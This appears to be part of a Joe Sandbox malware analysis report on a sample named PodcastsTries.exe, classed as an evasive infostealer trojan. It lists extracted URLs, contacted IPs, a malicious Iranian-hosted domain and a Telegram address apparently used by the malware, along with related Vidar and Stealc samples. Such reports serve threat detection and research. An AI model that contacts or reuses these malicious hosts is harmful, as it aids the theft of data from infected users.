https://drive-daily-2.corp.google.com/	manifest.json.27.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HDJEU3.12.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000012.00000003.2739165122.000027800113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737269759.0000278001020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737330665.0000278001030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809303910.00002780002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739266755.000027800120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2738791399.0000278000F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2738731573.0000278000F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737386416.0000278000F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809977476.00002780004C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737360460.0000278001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2738761959.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737419840.000027800104C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000012.00000003.2769737177.000027800153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769702296.0000278001534000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Kj	chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	false		high
https://t.me/k04aelm0nk3Mozilla/5.0	Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Billion.com, 0000000C.00000000.2151414811.0000000000205000.00000002.00000001.01000000.00000007.sdmp, Shipping.9.dr, Billion.com.2.dr	false		high
https://chrome.google.com/webstore?hl=en3	chrome.exe, 00000012.00000002.2812036983.0000278000A34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, 16PP89.12.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.27.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.27.dr	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816785979.0000278000FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000012.00000002.2809715374.000027800040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811516626.0000278000884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810228742.0000278000544000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.goog	chrome.exe, 00000012.00000002.2808631973.00002780000FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816785979.0000278000FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/kh	chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxAB	msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000012.00000002.2808273997.0000278000014000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2882165201.000026600016C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.3000415537.000074F40238C000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.27.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.27.dr	false		high
https://msn.comXIDv10	Cookies.28.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.27.dr	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-3.corp.googlP7	chrome.exe, 00000012.00000002.2809431183.0000278000374000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.m	Billion.com, 0000000C.00000003.2540745906.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2541000728.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540769406.0000000004128000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000012.00000002.2809376618.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735151718.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732621548.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736735650.0000278000358000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.189.173.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.44.203.82	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.39	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.245.216.205	bijutr.shop	Iran (ISLAMIC Republic Of)	16322	PARSONLINETehran-IRANIR	true
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
18.161.69.30	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
18.238.49.124	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580498
Start date and time:	2024-12-24 19:26:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PodcastsTries.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@104/289@25/16
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 81 Number of non-executed functions: 298
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 172.217.21.35, 64.233.161.84, 172.217.19.238, 172.217.17.46, 142.250.181.138, 172.217.19.234, 142.250.181.10, 142.250.181.42, 142.250.181.74, 172.217.17.74, 172.217.19.202, 142.250.181.106, 172.217.19.10, 172.217.17.42, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.181.142, 13.107.6.158, 2.19.198.56, 23.32.238.138, 172.165.61.93, 104.126.37.128, 104.126.37.130, 104.126.37.152, 104.126.37.185, 104.126.37.147, 104.126.37.186, 104.126.37.123, 104.126.37.146, 104.126.37.137, 2.18.64.203, 2.18.64.218, 104.126.37.129, 104.126.37.155, 104.126.37.139, 104.126.37.144, 104.126.37.153, 2.23.209.34, 2.23.209.39, 2.23.209.52, 2.23.209.48, 2.23.209.33, 2.23.209.3, 2.23.209.50, 2.23.209.59, 2.23.209.6, 104.126.37.161, 104.126.37.160, 104.126.37.170, 104.126.37.179, 13.74.129.1, 13.107.21.237, 204.79.197.237, 23.32.238.163, 142.251.32.99, 142.251.40.163, 142.250.80.35, 142.251.40.131, 142.250.65.227, 142.250.80.99, 13.107.246.63, 4.175.87.197, 2
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, login.live.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com, redirector.gvt1.com, www.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PodcastsTries.exe

Simulations

Behavior and APIs

Time	Type	Description
13:26:54	API Interceptor	1x Sleep call for process: PodcastsTries.exe modified
13:27:34	API Interceptor	2x Sleep call for process: Billion.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.61.3	ChoForgot.exe	Get hash	malicious	Vidar	Browse
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse
	SWIFT.xls	Get hash	malicious	Unknown	Browse
	Ocean-T2I4I8O9.exe	Get hash	malicious	Unknown	Browse
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse
20.189.173.2	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://hrdesign-my.sharepoint.com/:u:/g/personal/scott_hrdesigninc_com/EbJc5KBDp9FFtlL1fhxyW3gB4XLFt1qWVv8kUYI0bqQizQ?e=j79cKg	Get hash	malicious	Unknown	Browse
	1V4xpXT91O.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://1drv.ms/o/c/14c2aef4e2cd9199/EmKMpCkEfbpDs04MuZdva6IBilCqbzQYZtfiLbdaioNL0w?e=E2gYSO	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0 - 2024-10-14T143610.340.eml	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	ChoForgot.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	149.154.167.99
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
chrome.cloudflare-dns.com	https://jkqbjwq.maxiite.com	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://liladelman.com/rental/1218-west-side-road-block-island/	Get hash	malicious	Unknown	Browse	162.159.61.3
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	172.64.41.3
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
bijutr.shop	ChoForgot.exe	Get hash	malicious	Vidar	Browse	188.245.216.205
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	ChoForgot.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	94.245.104.56
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	94.245.104.56
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	94.245.104.56
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	149.154.167.220
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
MICROSOFT-CORP-MSN-AS-BLOCKUS	armv4l.elf	Get hash	malicious	Mirai	Browse	20.85.193.143
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	52.182.143.212
